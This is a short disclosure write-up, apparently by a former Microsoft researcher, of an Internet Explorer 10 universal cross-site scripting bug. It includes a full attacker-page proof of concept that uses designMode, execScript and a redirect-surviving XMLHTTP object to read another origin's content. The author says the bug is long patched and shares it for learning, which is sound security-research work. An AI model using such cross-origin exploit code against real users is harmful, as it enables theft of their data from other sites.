IE10 UXSS: XMLHTTP in Redirected iframe with designMode Accesses Cross-Origin Content

I found that setting document.designMode = "Off" inside an iframe before a server redirect triggered a convenient reload, and that ActiveXObject("Microsoft.XMLHTTP") created during that window survived the redirect, retaining the redirected page’s origin for its requests. Because the iframe’s window object was destroyed after the redirect, state had to be stored on the Math object rather than in variables. The parent’s alert method was used since the iframe’s own global scope was gone.

<!-- index.html (attacker page) -->
<script>
function main()
{
    document.getElementById("container").innerHTML = '<iframe src="redirect.aspx" width="760" height="100"></iframe>';

    var iFrameCode =    'document.designMode = "Off";' +
                        'Math.parent = parent;' +
                        'alert("Click OK when Bing is loaded...");' +
                        'Math.oXML = new ActiveXObject("Microsoft.XMLHTTP");' +
                        'Math.oXML.open("GET", "/", false);' +
                        'Math.oXML.send(null);' +
                        'Math.parent.alert(Math.oXML.responseText);';

    window[0].execScript(iFrameCode);
}
</script>
<input type="button" onclick="main()" value="Do it!">
<div id="container"></div>

After the redirect, the script context was frozen by the alert. When the user dismissed it, the XMLHTTP object — now running in the post-redirect origin — fetched the root path of that domain with GET /, and the response body appeared in Math.parent.alert(). This is distinct from the earlier IE10_xDom_cache_XMLHttpRequest_Redirect finding: there, the XHR object was created before the redirect on the main page; here, it was created inside the iframe after designMode triggered a reload.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.